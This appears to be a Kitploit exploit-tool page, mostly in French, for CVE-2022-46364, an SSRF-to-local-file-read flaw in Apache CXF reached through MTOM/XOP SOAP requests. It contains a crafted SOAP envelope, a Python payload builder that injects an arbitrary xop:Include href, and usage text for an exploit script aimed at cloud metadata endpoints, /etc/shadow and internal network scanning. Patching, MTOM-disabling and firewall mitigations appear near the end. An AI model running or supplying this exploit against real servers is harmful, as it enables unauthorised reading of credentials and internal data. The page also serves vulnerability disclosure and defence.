CVE-2022-46364-Proof-of-the-concept — Cette vulnérabilité permet à un attaquant d'effectuer des attaques SSRF (Server-Side Request Forgery) sur les services web Apache CXF qui acceptent les requêtes MTOM/XOP. Le problème réside dans la manière dont l'attribut href de xop:Include est analysé, permettant au serveur de demander des URL arbitraires. | Kitploit

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <myData>
            <xop:Include href="cid:[email protected]" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </myData>
    </soap:Body>
</soap:Envelope>

// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
    URL url = new URL(href);  // No protocol validation!
    return new DataHandler(url.openStream());
}

usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]

CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only

options:
  -h, --help            Show this help message and exit
  -t TARGET, --target TARGET
                        Target base URL (e.g., http://192.168.1.100:8080)
  -e ENDPOINT, --endpoint ENDPOINT
                        Web service endpoint path (default: /services/Service)
  -u URL, --url URL     External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
  -f FILE, --file FILE  Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
  -s SCAN, --scan SCAN  Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)

Argument	Description	Exemple
`-t, --target`	Obligatoire. URL de base du service Apache CXF cible	`http://10.10.10.50:8080`
`-e, --endpoint`	Optionnel. Chemin du point de terminaison SOAP	`/services/UserManagement`
`-u, --url`	URL HTTP/HTTPS à récupérer via SSRF	`http://169.254.169.254/latest/user-data`
`-f, --file`	Chemin de fichier local à lire via LFI	`/etc/shadow`, `C:\ProgramData\secret.txt`


---



### Détails d'implémentation du cœur

#### 1. Construction de la charge utile MTOM
```python
def create_mtom_payload(uri):
    """Create a multipart/related MTOM message with xop:Include"""
    soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <vulnerableParam>
            <xop:Include href="{uri}" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </vulnerableParam>
    </soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
    return soap_part

<!-- Pour les projets Maven -->
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxws</artifactId>
    <version>3.5.5</version> <!-- ou 3.4.10 pour la branche legacy -->
</dependency>

Désactivez MTOM complètement (si non requis) :

<jaxws:endpoint ...>
    <jaxws:properties>
        <entry key="mtom-enabled" value="false"/>
    </jaxws:properties>
</jaxws:endpoint>

Contrôles au niveau réseau :
- Restreignez les connexions sortantes du serveur d'application CXF
- Utilisez des pare-feux pour empêcher l'accès aux plages IP internes depuis la couche applicative
- Implémentez un filtrage de sortie
Règles de pare-feu applicatif (WAF) :
- Bloquez les requêtes contenant xop:Include avec href pointant vers file:// ou des adresses IP internes

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

CVE ID	CVE-2022-46364
GHSA ID	GHSA-x3x3-qwjq-8gj4
Type de vulnérabilité	Server-Side Request Forgery (SSRF) → Local File Inclusion (LFI)
Logiciel concerné	Apache CXF < 3.5.5, Apache CXF < 3.4.10
Sévérité	Critique
Score CVSS	9.8 (Critique)
Vecteur d'attaque	Réseau
Authentification	Aucune requise
Versions corrigées	Apache CXF 3.5.5+, 3.4.10+

CVE-2022-46364-Proof-of-the-concept

Populaires

À propos

🔬 DÉTAILS DE LA VULNÉRABILITÉ

Le problème fondamental

Pourquoi c'est important

Configurations concernées

🧠 ANALYSE TECHNIQUE APPROFONDIE

Contexte protocolaire : MTOM et XOP

Le chemin de code vulnérable

Extrait de code (modèle vulnérable)

Pourquoi LFI fonctionne

Capacité de scan réseau

🛠️ UTILISATION DE L'EXPLOIT

Syntaxe de la commande

Explication des arguments

📦 INSTALLATION ET PRÉREQUIS

Prérequis

Étapes d'installation

🛡️ MESURES D'ATTÉNUATION

Correctif officiel

Contournements (si le correctif n'est pas possible)

📚 RÉFÉRENCES ET CRÉDITS

Chercheurs originaux

Avis officiels

Ressources connexes

Remerciements

📄 LICENCE